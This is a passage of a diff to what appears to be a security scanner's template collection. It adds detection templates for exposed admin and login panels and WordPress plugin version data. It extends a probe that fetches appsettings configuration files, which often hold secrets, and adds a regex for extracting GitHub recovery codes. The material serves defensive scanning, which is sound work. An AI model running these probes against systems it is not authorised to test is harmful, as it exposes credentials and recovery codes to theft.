   tags: panel,edb
 
 requests:
@@ -15,4 +20,6 @@ requests:
     matchers:
       - type: word
         words:
-          - 'Saferoads VMS'
+          - 'Saferoads VMS'
+
+# Enhanced by md on 2023/01/03

exposed-panels/sage-panel.yaml

@@ -1,9 +1,14 @@
 id: sage-panel
 
 info:
-  name: Sage X3 Login Panel
+  name: Sage X3 Login Panel - Detect
   author: pikpikcu,daffainfo
   severity: info
+  description: Sage X3 login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     shodan-query: http.title:"Sage X3"
   tags: panel,sage,login
@@ -25,3 +30,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/samba-swat-panel.yaml

@@ -1,9 +1,14 @@
 id: samba-swat-panel
 
 info:
-  name: Samba SWAT panel
+  name: Samba SWAT Panel - Detect
   author: PR3R00T
   severity: info
+  description: Samba SWAT panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: panel,samba
 
 requests:
@@ -16,3 +21,5 @@ requests:
         words:
           - 'Basic realm="SWAT"'
         part: header
+
+# Enhanced by md on 2023/01/03

exposed-panels/samsung-printer-detect.yaml

@@ -1,9 +1,14 @@
 id: samsung-printer-detect
 
 info:
-  name: SAMSUNG Printer Detection
+  name: Samsung Printer Panel - Detect
   author: pussycat0x
   severity: info
+  description: Samsung printer panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   metadata:
     fofa-query: app="SAMSUNG-Printer"
   tags: iot,panel,samsung,printer
@@ -22,3 +27,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by md on 2023/01/03

exposed-panels/sap-hana-xsengine-panel.yaml

@@ -1,9 +1,14 @@
 id: sap-hana-xsengine-panel
 
 info:
-  name: SAP HANA XSEngine Admin Panel
+  name: SAP HANA XS Engine Admin Login Panel - Detect
   author: PR3R00T
   severity: info
+  description: SAP HANA XS Engine admin login panel was detected.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
+    cvss-score: 0.0
+    cwe-id: CWE-200
   tags: panel,sap
 
 requests:
@@ -16,3 +21,5 @@ requests:
         words:
           - "/sap/hana/xs/formLogin/images/sap.png"
         part: body
+
+# Enhanced by md on 2023/01/03

exposed-panels/watershed-panel.yaml

@@ -0,0 +1,31 @@
+id: watershed-panel
+
+info:
+  name: Watershed Panel Detect
+  author: tess
+  severity: info
+  metadata:
+    verified: "true"
+    shodan-query: http.title:"Watershed LRS"
+  tags: panel,watershed
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/app/outside.html#/signin'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Watershed LRS"
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200

exposed-panels/zoho/manageengine-network-config.yaml

@@ -0,0 +1,28 @@
+id: manageengine-network-config
+
+info:
+  name: Zoho Manage Engine Network Configuration Manager
+  author: righettod
+  severity: info
+  metadata:
+    verified: "true"
+    shodan-query: http.title:"Network Configuration Manager"
+  tags: panel,zoho,manageengine
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/apiclient/ember/Login.jsp'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Network Configuration Manager'
+          - 'https://www.manageengine.com'
+        condition: and
+
+      - type: status
+        status:
+          - 200

exposures/files/appsettings-file-disclosure.yaml

@@ -16,7 +16,9 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/appsettings.json"
+      - "{{BaseURL}}/appsettings.Production.json"
 
+    stop-at-first-match: true
     matchers-condition: and
     matchers:
       - type: word

file/keys/github-recovery-code.yaml

@@ -0,0 +1,16 @@
+id: github-recovery-code
+
+info:
+  name: Github Recovery Code
+  author: geeknik
+  severity: high
+  tags: github,recovery,token,file
+
+file:
+  - extensions:
+      - all
+
+    extractors:
+      - type: regex
+        regex:
+          - '^[a-z]{1,4}[0-9]{1,4}\-[a-z0-9]{5}'

helpers/wordpress/plugins/ad-inserter.txt

@@ -1 +1 @@
-2.7.25
+2.7.23

helpers/wordpress/plugins/advanced-custom-fields.txt

@@ -1 +1 @@
-6.0.7
+6.0.6

helpers/wordpress/plugins/all-404-redirect-to-homepage.txt

@@ -1 +1 @@
-4.2
+4.1

helpers/wordpress/plugins/all-in-one-seo-pack.txt

@@ -1 +1 @@
-4.3.1.1
+4.2.8

helpers/wordpress/plugins/all-in-one-wp-migration.txt

@@ -1 +1 @@
-7.71
+7.69

helpers/wordpress/plugins/all-in-one-wp-security-and-firewall.txt

@@ -1 +1 @@
-5.1.5
+5.1.4

helpers/wordpress/plugins/amp.txt

@@ -1 +1 @@
-2.4.0
+2.3.0

helpers/wordpress/plugins/antispam-bee.txt

@@ -1 +1 @@
-2.11.2
+2.11.1

helpers/wordpress/plugins/astra-sites.txt

@@ -1 +1 @@
-3.1.27
+3.1.22

helpers/wordpress/plugins/autoptimize.txt

@@ -1 +1 @@
-3.1.5
+3.1.4

helpers/wordpress/plugins/breadcrumb-navxt.txt

@@ -1 +1 @@
-7.2.0
+7.1.0

helpers/wordpress/plugins/broken-link-checker.txt

@@ -1 +1 @@
-2.0.0
+1.11.21

helpers/wordpress/plugins/click-to-chat-for-whatsapp.txt

@@ -1 +1 @@
-3.23
+3.19

helpers/wordpress/plugins/complianz-gdpr.txt

@@ -1 +1 @@
-6.4.2
+6.3.9

helpers/wordpress/plugins/contact-form-7.txt

@@ -1 +1 @@
-5.7.4
+5.7.2

helpers/wordpress/plugins/cookie-notice.txt

@@ -1 +1 @@
-2.4.7
+2.4.4

helpers/wordpress/plugins/creative-mail-by-constant-contact.txt

@@ -1 +1 @@
-1.6.7
+1.6.6

helpers/wordpress/plugins/custom-css-js.txt

@@ -1 +1 @@
-3.42
+3.41

helpers/wordpress/plugins/disable-comments.txt

@@ -1 +1 @@
-2.4.3
+2.4.2

helpers/wordpress/plugins/disable-gutenberg.txt

@@ -1 +1 @@
-2.9
+2.8.1